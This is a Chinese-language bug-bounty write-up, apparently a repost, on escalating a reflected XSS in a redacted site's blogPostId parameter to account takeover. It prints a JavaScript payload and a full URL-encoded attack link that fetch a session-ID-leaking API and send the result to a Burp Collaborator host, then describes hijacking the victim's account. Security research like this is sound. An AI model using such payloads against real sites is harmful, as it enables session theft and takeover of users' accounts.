-
前言
-
发现反射型xss
-
升级到ATO
-
思路小结
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
白帽小哥测试的目标是具有单个主域的私有程序,因此,在本文中将其称为 www.redacted.com;
发现反射型xss
在信息搜集阶段,启用burpsuite代理并将www.redacted.com添加至侦测范围之中,为了找到xss,小哥使用的是 reflected-parameters 的插件(地址在:https://github.com/portswigger/reflected-parameters
),这个插件监控由代理生成的范围内的请求流量,并查找响应中反映的请求参数值
因此,在捕获流量时,我遇到了一个名为blogPostId的参数,它的值在JS上下文中可以找到。
test123'"><
)来进一步测试这个参数,结果发现没有进行过滤。
首先,我试图闭合现有的脚本tag,但失败了,因为有WAF。因此,下一个有效负载被用来调用现有脚本标记中的alert函数,但是WAF也还是阻止了请求。
https://www.redacted.com/preview/001981ba?blogPostId=test123";(alert)("xss")//
升级到ATO
提升XSS影响的最有用的方法是窃取受害者的会话id(SessionID),这会导致整个帐户被接管。所以,我注意到了Burp的历史日志中的请求,并发现了一个API请求,该请求以JSON格式在响应中泄漏了用户的会话id。
https://www.redacted.com/api/uis/accounts/current/sso
构造payload:
";fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a=> a.text()).then(a=> fetch('https://random.burpcollaborator.net?x='+a))//
解释一下上面的代码: 使用了javascript的fetch()方法来指示web浏览器向URL发送一个请求; 第一个fetch()方法向这个api端点发送一个GET请求;
https://www.redacted.com/api/uis/accounts/current/sso (leaking session id)
可以用它来劫持账户:(a=> a.text())
将数据返回给a变量;(注意这里的a应该是一个JSON变量) 之后,使用第二个fetch()函数发送另一个GET请求,将窃取的数据发送到攻击者控制服务器。(这里使用了bp的Collaborator)
最后的payload如下:
https://www.redacted.com/preview/001981ba?blogPostId=327156%22;fetch(%27https://www.redacted.com/api/uis/accounts/current/sso%27).then(a=%3E%20a.text()).then(a=%3E%20fetch(%27https://random.burpcollaborator.net?x=%27%2ba))//
现在我所要做的就是将这个链接发送给任何经过身份验证的网站用户,一旦他们打开它,他们的会话ID将被发送到攻击者的控制服务器(在这里的例子中是bp的Collaborator)。
一旦我进入了受害者的账户,就简单地用我的邮箱地址更改了原先受害者的邮箱地址,并完全接管了这个账户。
思路小结
-
首先利用bp的一个插件发现一个反射型xss;
2.找到某个接口泄露了sessionid
3.构造poc思路: 在发现反射型xss的url处添加一个payload:
此payload思路: 向上面泄露sessionid的api端点处利用fetch()函数发送一个GET请求,利用then语法将数据返回给变量;
再利用fetch()函数发送另一个GET请求,将窃取的数据发送到攻击者控制服务器(bp的Collaborator也行);
主要是获取到sessionid
4.利用替换sessionid的方法进入受害者账户再更改邮箱实现账户劫持
原文始发于微信公众号(迪哥讲事):account takeover系列-由xss提升至账户劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论